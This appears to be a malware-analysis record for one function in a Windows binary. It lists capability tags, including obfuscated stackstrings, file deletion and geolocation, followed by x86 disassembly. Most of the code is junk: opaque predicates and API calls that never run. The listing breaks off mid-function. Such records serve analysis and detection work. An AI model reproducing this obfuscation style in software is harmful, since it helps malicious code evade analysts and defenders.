Function at 0x42967f
Capabilities:
Contain obfuscated stackstrings
Delete file
Get geographical location
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1e4
mov eax, 0xdd1e1e87
mov byte [ebp - 0x2d], dl
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], eax
mov eax, 0xd73c12d4
mov dword [ebp - 0x20], 0xae3d4752
push ebx
mov dword [ebp - 0x34], 0x3eeda781
push esi
mov dword [ebp - 0x110], eax
mov esi, ecx
mov dword [ebp - 0x10c], eax
xor ecx, ecx
push edi
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x104], eax
push 1
mov dword [ebp - 0x24], 0xdb2a93f0
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0xc], ecx
pop edi
jmp 0x4296ed
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xac], edi
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 3
jl 0x4296e0
push 2
mov dword [ebp - 0x78], ecx
pop ebx
jmp 0x429742
mov dword [ebp - 0xc], 0x3eee2fde
mov dword [ebp - 0xc], ecx
jmp 0x429718
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x150], 0x1eb32a83
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ebx
jl 0x429707
mov dword [ebp - 0xc], ebx
cmp dword [ebp - 0xc], ecx
jl 0x42973f
mov ecx, dword [ebp - 0xc]
xor edx, edx
mov eax, dword [ebp - 0xc]
cmp ecx, eax
setg dl
mov dword [ebp - 0x150], edx
dec dword [ebp - 0xc]
jns 0x429725
xor ecx, ecx
inc dword [ebp - 0x78]
cmp dword [ebp - 0x78], ebx
jle 0x4296fb
mov eax, dword [ebp - 0xa8]
neg eax
jne 0x429773
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0xa8]
imul eax, eax, 0x8db8
sub ecx, eax
cmp ecx, dword [ebp - 0x20]
jle 0x429770
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x7c]
dec eax
cmp eax, 0x9cff29c2
mov eax, dword [ebp - 0x20]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x78]
setge dl
xor ebx, ebx
cmp edx, eax
setg bl
xor ecx, ecx
mov dword [ebp - 0x78], ebx
mov eax, dword [ebp - 0x34]
sub ebx, eax
cmp ebx, 0x36a7
setle cl
sub ecx, dword [ebp - 0xa8]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, edi
mov ecx, dword [ebp - 0x20]
setge al
xor edx, edx
cmp eax, 0x9f3c
mov eax, dword [ebp - 0x20]
setle dl
add ecx, edx
xor edx, edx
cmp ecx, eax
setg dl
add edx, dword [ebp - 0x20]
cmp edx, 8
sbb eax, eax
neg eax
xor ecx, ecx
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0xc], 9
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0xc], ecx
jmp 0x429810
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xd4], 0xfffffff7
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 2
jl 0x4297ff
mov dword [ebp - 0x14], 0xffffffe2
jmp 0x429827
cmp dword [ebp - 0x14], ecx
jne 0x42982d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff4
jg 0x42981f
mov dword [ebp - 0x14], edi
cmp dword [ebp - 0x14], ecx
jl 0x4298f4
mov dword [ebp - 0x18], 0x7be9fb1c
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x18], 6
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0xc], ecx
jmp 0x42986e
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x1d4], 0xfffffffb
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 4
jl 0x42985d
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0xd4]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0xd4]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0x14]
dec dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
neg eax
sbb eax, eax
neg eax
cmp eax, 7
sbb eax, eax
neg eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 0xc], 0x1c
jmp 0x4298e5
mov byte [ebp - 5], cl
cmp byte [ebp - 5], 0
je 0x4298db
push ecx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRgn]
xor ecx, ecx
mov dword [ebp - 0x34], 0xd3d47825
dec dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xfffffff3
je 0x4298c2
dec dword [ebp - 0x14]
jns 0x429839
mov dword [ebp - 0x14], 0x56a3367f
mov eax, 0xf6de
mov dword [ebp - 4], 0xaaf5bfb6
mov dword [ebp - 0xc], 0xbd28f7d0
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xc8f0d071
jae 0x429939
cmp dword [ebp - 0x14], ecx
je 0x429939
mov ecx, edi
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add eax, ecx
xor ecx, ecx
add edx, eax
mov eax, dword [ebp - 0x14]
cmp edx, eax
setge cl
xor edx, edx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0xfffffff3
jle 0x429bf7
mov dword [ebp - 0x24], 0x1466
mov dword [ebp - 0x28], 0x6d9e96bb
mov dword [ebp - 0x20], 0xfffffffb
mov dword [ebp - 0x34], 0x3a71b0f
mov esi, dword [ebp - 0x24]
neg esi
sbb esi, esi
neg esi
cmp dword [ebp - 4], edx
jne 0x42999c
mov eax, edx
cmp dword [ebp - 0x28], edx
je 0x42999e
mov eax, edi
mov dword [ebp - 0x20], eax
xor edx, edx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
cmp ecx, eax
setl dl
add edx, dword [ebp - 4]
imul eax, edx, 0xffff
sub esi, eax
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x28], 0xfffffff2
cmp dword [ebp - 0x28], 0x2b
jg 0x429be4
xor ebx, ebx
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x2c], 8
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
jmp 0x429a01
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xb0], 0xfffffffb
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], edi
jl 0x4299f0
cmp dword [ebp - 0x1c], ebx
je 0x429afe
mov dword [ebp - 0xc], 0xffffffff
mov dword [ebp - 0xc], ebx
jmp 0x429a28
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x148], edi
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 3
jl 0x429a1b
cmp dword [ebp - 0x28], ebx
jne 0x429a61
cmp dword [ebp - 0x20], ebx
jne 0x429a3f
mov edx, ebx
cmp dword [ebp - 0x2c], ebx
je 0x429a41
mov edx, edi
mov dword [ebp - 0x14], edi
xor ecx, ecx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x14]
cmp edx, eax
mov edx, ebx
setl cl
add ecx, dword [ebp - 0x20]
je 0x429a63
mov edx, edi
xor ecx, ecx
mov dword [ebp - 0xc], edi
mov eax, dword [ebp - 0x1c]
cmp edx, eax
setle cl
sub ecx, dword [ebp - 0x148]
mov eax, dword [ebp - 0x2c]
neg ecx
sbb ecx, ecx
inc ecx
imul eax, ecx
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xb0]
dec ecx
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0xc]
setle dl
xor ecx, ecx
cmp eax, edx
setle cl
cmp ecx, 0x7048
jl 0x429ad9
mov eax, 0xb6ef
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x114], 0x9a83
mov dword [ebp - 0x10], edi
jmp 0x429af0
mov dword [ebp - 0xc], 0xfffffffc
jmp 0x429aea
cmp dword [ebp - 0x1c], ebx
jne 0x429af0
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0x16
jl 0x429ae2
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x148], eax
jmp 0x429bd7
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], 8
mov dword [ebp - 0xc], ebx
jmp 0x429b1e
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x19c], 0x746a6ecc
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 3
jl 0x429b0d
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x20]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setne dl
add eax, 0xbbd8
xor ecx, ecx
cmp eax, edx
setg cl
cmp ecx, edi
jb 0x429b59
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x10]
je 0x429b6e
mov edx, edi
cmp dword [ebp - 0x14], ebx
jne 0x429b70
mov edx, ebx
mov eax, dword [ebp - 4]
xor ecx, ecx
cmp edx, eax
setle cl
imul eax, ecx, 0x87
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x194], eax
test eax, eax
jne 0x429b9d
mov ecx, ebx
cmp dword [ebp - 0x24], ebx
je 0x429b9f
mov ecx, edi
mov eax, dword [ebp - 0x20]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x10]
sete dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setle cl
xor ebx, ebx
cmp ecx, edi
setge bl
xor edx, edx
inc ebx
cmp ebx, eax
mov eax, dword [ebp - 0x28]
setne dl
xor ecx, ecx
cmp edx, eax
setge cl
shl ecx, 2
xor ebx, ebx
mov dword [ebp - 0x34], ecx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x2b
jle 0x4299de
dec dword [ebp - 4]
cmp dword [ebp - 4], 0xfffffff3
push 0
pop edx
jg 0x42996b
mov esi, dword [ebp - 0x3c]
mov ecx, dword [ebp + 8]
mov ebx, dword [0x4935ec]
mov dword [ebp - 0x34], ebx
mov dword [ebp - 4], edx
mov dword [ecx], edx
mov dword [ecx + 4], edx
mov dword [ecx + 8], edx
mov dword [ecx + 0xc], edx
jmp 0x429c24
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x88], 0xffffffff
inc dword [ebp - 4]
cmp dword [ebp - 4], 2
jl 0x429c13
mov dword [ebp - 4], edx
jmp 0x429c3d
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x58], 0xe2c0d37a
inc dword [ebp - 4]
cmp dword [ebp - 4], edi
jl 0x429c2f
mov dword [ebp - 0x84], 9
cmp dword [ebp - 0x84], 0xfffffffc
jne 0x429cf0
xor ebx, ebx
mov dword [ebp - 0xc], 0xb363f9e9
mov dword [ebp - 0x58], 0x3245f1db
mov dword [ebp - 0xc], ebx
jmp 0x429ccf
mov dword [ebp - 0x1c], 0x781ced8f
mov byte [ebp - 5], bl
cmp byte [ebp - 5], bl
je 0x429c9b
push 0xe03
push 0x283
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], ebx
jl 0x429ccc
mov dword [ebp - 0x10], 6
mov dword [ebp - 0x10], ebx
jmp 0x429cc1
mov byte [ebp - 5], bl
cmp byte [ebp - 5], bl
je 0x429cbe
push ebx
call dword [sym.imp.USER32.dll_DestroyIcon]
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xffffffef
jge 0x429caf
dec dword [ebp - 0x1c]
jns 0x429ca3
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0x1d
jl 0x429c6e
dec dword [ebp - 0x84]
cmp dword [ebp - 0x84], 0xfffffffc
je 0x429c5b
mov ecx, dword [ebp + 8]
xor edx, edx
mov ebx, dword [ebp - 0x34]
cmp byte [ebp - 0x2d], 0
je 0x429d57
cmp ebx, edi
jne 0x429d57
mov dword [ebp - 0x10], edx
jmp 0x429d09
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x48], edi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x429cff
mov dword [ebp - 0x48], edx
cmp dword [ebp - 0x48], 0xffffffe9
jle 0x429d49
mov byte [ebp - 5], dl
cmp byte [ebp - 5], 0
je 0x429d2a
push edx
push edx
call dword [sym.imp.USER32.dll_LoadIconA]
xor edx, edx
mov byte [ebp - 5], dl
cmp byte [ebp - 5], 0
je 0x429d3d
push edx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
xor edx, edx
dec dword [ebp - 0x48]
cmp dword [ebp - 0x48], 0xffffffe9
jg 0x429d17
mov ecx, dword [ebp + 8]
mov dword [ecx + 8], 4
mov dword [ecx + 0xc], 0x4935ec
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x24], 0x104353e
mov dword [ebp - 4], edx
jmp 0x429d77
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x8c], 0xda11525
inc dword [ebp - 4]
cmp dword [ebp - 4], edi
jl 0x429d66
mov dword [ebp - 4], edx
jmp 0x429d92
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x184], 0x7ab89bdd
inc dword [ebp - 4]
cmp dword [ebp - 4], 4
jl 0x429d81
mov byte [ebp - 5], dl
cmp byte [ebp - 5], 0
je 0x429daa
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor edx, edx
cmp dword [ebp - 0x8c], edx
je 0x429e2f
mov dword [ebp - 0x10], edx
jmp 0x429dc5
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x70], 0xf54c3c69
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x429db7
mov byte [ebp - 5], dl
cmp byte [ebp - 5], 0
je 0x429de3
push edi
push 0x11c8
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor edx, edx
mov dword [ebp - 0x70], 0xfffffffc
jmp 0x429e27
mov dword [ebp - 0x24], 2
cmp dword [ebp - 0x68], edx
jne 0x429dfb
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x178], edx
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x178]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x8c]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0xc], eax
dec dword [ebp - 0x70]
cmp dword [ebp - 0x70], 0xffffffe3
jl 0x429dec
jmp 0x429e93
mov dword [ebp - 0x1c], 0xc8af9534
mov dword [ebp - 0x10], edx
jmp 0x429e4c
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xf8], 0x1bb30b13
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x429e3b
mov byte [ebp - 5], dl
cmp byte [ebp - 5], 0
je 0x429e65
push edx
push edx
call dword [sym.imp.USER32.dll_CopyRect]
xor edx, edx
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0x1c], edx
je 0x429e8e
mov eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0xf8]
mov eax, edi
cmp dword [ebp - 0xf8], edi
jle 0x429e90
mov eax, edx
mov dword [ebp - 0xc], eax
cmp esi, ebx
jge 0x42a99d
mov dword [ebp - 4], 5
mov dword [ebp - 0x24], edi
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0x1c
jg 0x429fbd
mov dword [ebp - 0x14], edx
jmp 0x429ec8
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x13c], 0x8ecf54c3
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x429eb7
mov dword [ebp - 0x14], edx
jmp 0x429ee1
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x38], 0x182eac45
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x429ed3
mov dword [ebp - 0x14], edx
jmp 0x429efc
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xb8], 0xec7516a2
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x429eeb
mov dword [ebp - 0x38], 2
cmp dword [ebp - 0x38], edx
jl 0x429f37
mov byte [ebp - 5], dl
cmp byte [ebp - 5], 0
je 0x429f2d
push edx
push edx
push 0xa10
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
xor edx, edx
dec dword [ebp - 0x38]
jns 0x429f0e
cmp dword [ebp - 0x38], edx
je 0x429f5c
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x13c]
mov eax, dword [ebp - 4]
cmp dword [ebp - 0xb8], edx
je 0x429f5c
mov edx, edi
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 4]
add ecx, edx
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x134]
setl dl
xor ecx, ecx
cmp edx, 0xfffffffe
push 0
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x24]
setle cl
xor edx, edx
neg ecx
cmp eax, ecx
setge dl
sub edx, 0xeaf6
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x38], edx
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x1c
pop edx
jle 0x429eb2
mov dword [ebp - 0x20], 0x462d5e48
mov eax, 0xc1932e3c
mov dword [ebp - 0x18], 0x9c45c1d1
mov edi, 0x4935f0
push 0xfffffffffffffff8
pop ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0xc], 0x29694d2b
mov dword [ebp - 0x18], 0x9adb8213
mov dword [ebp - 0x18], 0x7941ce3c
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x124], eax
mov dword [ebp - 4], 1
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], 0xfffffff7
mov dword [ebp - 0x2c], 0x25423b19
mov dword [ebp - 0x28], 0x4a737b78
mov dword [ebp - 0x20], edx
jmp 0x42a052
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x10], edx
jmp 0x42a04a
cmp dword [ebp - 0x20], edx
jne 0x42a04f
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
je 0x42a042
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffff5
je 0x42a03a
inc dword [ebp - 0x1c]
xor edx, edx
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x2c]
setne dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0xc]
setge bl
xor edx, edx
cmp ecx, eax
setl dl
xor eax, eax
sub ebx, edx
cmp ebx, 0x1efae07d
mov dword [ebp - 0x128], ebx
setl al
sub eax, 0x3988
neg eax
sbb eax, eax
xor ebx, ebx
inc eax
inc ebx
xor edx, edx
mov ecx, ebx
sub ecx, eax
mov eax, dword [ebp - 4]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setl dl
xor ecx, ecx
cmp edx, eax
setg cl
cmp ecx, ebx
mov ecx, 0xba27438e
sbb eax, eax
neg eax
cmp ecx, eax
sbb eax, eax
xor ebx, ebx
neg eax
mov dword [ebp - 0x14], ebx
add eax, dword [ebp - 0x24]
imul eax, dword [ebp - 0x24]
mov dword [ebp - 0xc], eax
test esi, esi
jle 0x42a57e
xor esi, esi
inc esi
mov dword [ebp - 4], ebx
jmp 0x42a0f4
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x174], ebx
inc dword [ebp - 4]
cmp dword [ebp - 4], esi
jl 0x42a0e7
mov dword [ebp - 4], ebx
jmp 0x42a10b
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xf0], ebx
inc dword [ebp - 4]
cmp dword [ebp - 4], 4
jl 0x42a0fe
mov dword [ebp - 0xec], ebx
jmp 0x42a168
mov dword [ebp - 0x10], ebx
jmp 0x42a12c
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x44], 0xc8fc558b
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x42a11e
mov dword [ebp - 0x44], ebx
jmp 0x42a15d
mov byte [ebp - 5], bl
cmp byte [ebp - 5], 0
je 0x42a14a
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov byte [ebp - 5], bl
cmp byte [ebp - 5], 0
je 0x42a15a
push ebx
call dword [sym.imp.USER32.dll_DestroyCursor]
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], ebx
jle 0x42a136
inc dword [ebp - 0xec]
cmp dword [ebp - 0xec], ebx
jle 0x42a119
mov byte [ebp - 5], bl
cmp byte [ebp - 5], 0
je 0x42a18d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetParent]
mov ebx, dword [edi]
xor edx, edx
mov dword [ebp - 0xc], 0xaafe30f5
mov dword [ebp - 0x10], 0x466e9f08
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x24], 0x7f4e
mov dword [ebp - 0x28], 0xa9f4f9a0
mov dword [ebp - 0x20], 0xd800f4d4
mov dword [ebp - 0x1c], 0xfffffffb
mov dword [ebp - 0x54], 0x8e7dfbf7
mov dword [ebp - 0x4c], 0xffffffff
mov dword [ebp - 4], edx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 4], edx
jmp 0x42a1e8
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x94], 0x3e623b47
inc dword [ebp - 4]
cmp dword [ebp - 4], 2
jl 0x42a1d7
mov dword [ebp - 4], edx
jmp 0x42a204
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x168], 0x2102
inc dword [ebp - 4]
cmp dword [ebp - 4], 4
jl 0x42a1f3
inc dword [ebp - 0x20]
xor ecx, ecx
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
cmp eax, 9
setne cl
cmp dword [ebp - 0xc], ecx
jg 0x42a227
cmp dword [ebp - 0x2c], edx
je 0x42a227
mov edx, esi
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp edx, eax
setle cl
xor edx, edx
mov dword [ebp - 0x94], ecx
lea eax, [ecx - 0x1af6658d]
test eax, eax
jne 0x42a24b
cmp dword [ebp - 0x94], edx
je 0x42a255
mov ecx, esi
cmp dword [ebp - 0x94], edx
jne 0x42a257
mov ecx, edx
mov eax, dword [ebp - 0xc]
sub eax, ecx
jne 0x42a264
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x90], eax
jne 0x42a280
cmp dword [ebp - 0x1c], edx
jne 0x42a28c
cmp dword [ebp - 0x10], edx
jne 0x42a28c
mov eax, edx
cmp dword [ebp - 0x24], edx
je 0x42a28e
mov eax, esi
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x164]
cmp dword [ebp - 0x1c], edx
jne 0x42a2ab
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x164]
mov eax, dword [ebp - 0x164]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x4c], edx
mov dword [ebp - 4], edx
jmp 0x42a2e5
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x50], 0x6bdde0bc
inc dword [ebp - 4]
cmp dword [ebp - 4], esi
jl 0x42a2d7
mov dword [ebp - 4], edx
jmp 0x42a2fd
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x64], 0xbe8e56f9
inc dword [ebp - 4]
cmp dword [ebp - 4], 3
jl 0x42a2ef
mov dword [ebp - 0x64], edx
cmp dword [ebp - 0x64], edx
jl 0x42a3ce
xor ebx, ebx
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x10], ebx
jmp 0x42a32e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x190], 0x6e88f3c2
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x42a31d
mov eax, dword [ebp - 0x50]
xor ecx, ecx
cmp eax, esi
mov eax, dword [ebp - 0x50]
setl cl
cmp ecx, 0xffffffff
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
test ecx, ecx
jg 0x42a355
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x60], 0xc70e74bb
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, 0x866b3883
setne cl
xor eax, eax
cmp ecx, 0x13c444c9
mov ecx, dword [ebp - 0x64]
setg al
imul ecx, eax
mov eax, dword [ebp - 4]
imul eax, ecx
test eax, eax
jne 0x42a388
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x64]
mov edx, esi
mov eax, dword [ebp - 4]
xor ecx, ecx
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 4]
sub edx, eax
mov eax, dword [ebp - 4]
cmp edx, eax
setle cl
mov dword [ebp - 0x188], ecx
dec dword [ebp - 0x64]
jns 0x42a311
mov ebx, dword [ebp - 0x18]
xor edx, edx
mov dword [ebp - 0xc], edx
jmp 0x42a3e1
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x50], 0xffffffff
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jl 0x42a3d3
mov esi, dword [edi + 4]
mov dword [ebp - 4], 0x5d6c05ba
mov dword [ebp - 0x1c], 0xfffffff7
mov dword [ebp - 0x18], 0x9e6a
mov dword [ebp - 0x10], edx
jmp 0x42a410
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x170], edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x42a403
xor ecx, ecx
mov dword [ebp - 4], 0xfffffffe
inc ecx
cmp dword [ebp - 4], 0x11
je 0x42a473
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
cmp dword [ebp - 0xc], edx
jne 0x42a44a
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x16c], ecx
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x24], 0x8c66
